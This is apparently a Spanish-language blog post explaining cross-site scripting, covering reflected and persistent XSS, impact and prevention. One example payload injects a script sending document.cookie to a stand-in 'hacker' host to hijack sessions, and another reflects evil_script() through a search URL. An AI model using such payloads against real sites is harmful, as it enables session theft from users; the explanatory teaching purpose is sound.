Conceptos clave de XSS
- XSS es un ataque basado en la web que se realiza sobre aplicaciones web vulnerables.
- En los ataques XSS, la víctima es el usuario y no la aplicación.
- En los ataques XSS, el contenido malicioso se entrega a los usuarios utilizando JavaScript.
- Secuestrar una cuenta.
- Difundir gusanos web.
- Acceder al historial del navegador y al contenido del portapapeles.
- Controlar el navegador de forma remota.
- Escanear y explotar dispositivos y aplicaciones de la intranet.
- La entrada que llega a las aplicaciones web no está validada
- La salida al navegador no está codificada en HTML
Explicación del Cross-Site Scripting
Una vulnerabilidad XSS surge cuando las aplicaciones web toman datos de los usuarios y los incluyen dinámicamente en las páginas web sin validar primero los datos adecuadamente. Las vulnerabilidades XSS permiten a un atacante ejecutar comandos arbitrarios y mostrar contenido arbitrario en el navegador de un usuario víctima. Un ataque XSS exitoso lleva a un atacante a controlar el navegador o la cuenta de la víctima en la aplicación web vulnerable. Aunque el XSS está habilitado por páginas vulnerables en una aplicación web, las víctimas de un ataque XSS son los usuarios de la aplicación, no la propia aplicación. La potencia de una vulnerabilidad XSS radica en el hecho de que el código malicioso se ejecuta en el contexto de la sesión de la víctima, lo que permite al atacante eludir las restricciones de seguridad normales.
Vídeo de secuencias de comandos entre sitios
Ejemplos de ataques XSS
XSS reflexivo
Hay muchas formas en las que un atacante puede atraer a una víctima para que inicie una solicitud XSS reflexiva. Por ejemplo, el atacante podría enviar a la víctima un correo electrónico engañoso con un enlace que contenga JavaScript malicioso. Si la víctima hace clic en el enlace, la petición HTTP se inicia desde el navegador de la víctima y se envía a la aplicación web vulnerable. El JavaScript malicioso se refleja entonces en el navegador de la víctima, donde se ejecuta en el contexto de la sesión del usuario víctima.
XSS persistente
Considere una aplicación web que permite a los usuarios introducir un nombre de usuario que se muestra en la página de perfil de cada usuario. La aplicación almacena cada nombre de usuario en una base de datos local. Un usuario malicioso se da cuenta de que la aplicación web no sanea el campo de nombre de usuario e introduce código JavaScript malicioso como parte de su nombre de usuario. Cuando otros usuarios ven la página de perfil del atacante, el código malicioso se ejecuta automáticamente en el contexto de su sesión.
Impacto del Cross-Site Scripting
Cuando los atacantes consiguen explotar las vulnerabilidades XSS, pueden acceder a las credenciales de las cuentas. También pueden propagar gusanos web o acceder al ordenador del usuario y ver el historial del navegador del usuario o controlar el navegador de forma remota. Después de obtener el control del sistema de la víctima, los atacantes también pueden analizar y utilizar otras aplicaciones de la intranet.
Al explotar las vulnerabilidades XSS, un atacante puede realizar acciones maliciosas, como:
Identificar las vulnerabilidades de Cross-Site Scripting
Las vulnerabilidades XSS pueden ocurrir si:
Ejemplos XSS
Ejemplo 1.
Por ejemplo, el fragmento de HTML:
<title>Example document: %(title)</title>
tiene por objeto ilustrar un fragmento de plantilla que, si la variable title tiene valor Cross-Site Scripting, da lugar al siguiente HTML que se emite al navegador:
<title>Example document: XSS Doc</title>
Un sitio que contiene un campo de búsqueda no tiene el saneamiento de entrada adecuado. Al elaborar una consulta de búsqueda con un aspecto como este:
"><SCRIPT>var+img=new+Image();img.src="http://hacker/"%20+%20document.cookie;</SCRIPT>
situado en el otro extremo, en el servidor web, estará recibiendo accesos donde después de un doble espacio está la cookie del usuario. Si un administrador hace clic en el enlace, un atacante podría robar el ID de sesión y secuestrar la sesión.
Ejemplo 2.
Supongamos que hay una URL en el sitio de Google, http://www.google.com/search?q=flowers
, que devuelve documentos HTML que contienen el fragmento
<p>Your search for 'flowers' returned the following results:</p>
es decir, el valor del parámetro de consulta q se inserta en la página devuelta por Google. Supongamos además que los datos no son validados, filtrados o escapados.
Evil.org podría poner una página que hace que se cargue la siguiente URL en el navegador (por ejemplo, en un<iframe>):
http://www.google.com/search?q=flowers+%3Cscript%3Eevil_script()%3C/script%3E
Cuando una víctima cargue esta página desde www.evil.org, el navegador cargará el iframe de la URL anterior. El documento cargado en el iframe contendrá ahora el fragmento
<p>Your search for 'flowers <script>evil_script()</script>'
returned the following results:</p>
Cargar esta página hará que el navegador ejecute evil_script(). Además, este script se ejecutará en el contexto de una página cargada desde www.google.com.
Recursos para la prevención de Cross-Site Scripting
La prevención de Cross-Site Scripting debe ser abordada en las primeras etapas de desarrollo; sin embargo, si ya estás bien en la producción todavía hay varios pasos de prevención de cross-site que puedes tomar para evitar un ataque.
Este post del blog proporciona un resumen de lo que necesitas saber sobre Cross-Site Scripting.
Hoja de trucos XSS: Prevenir un ataque de Cross-Site Scripting
0 comentarios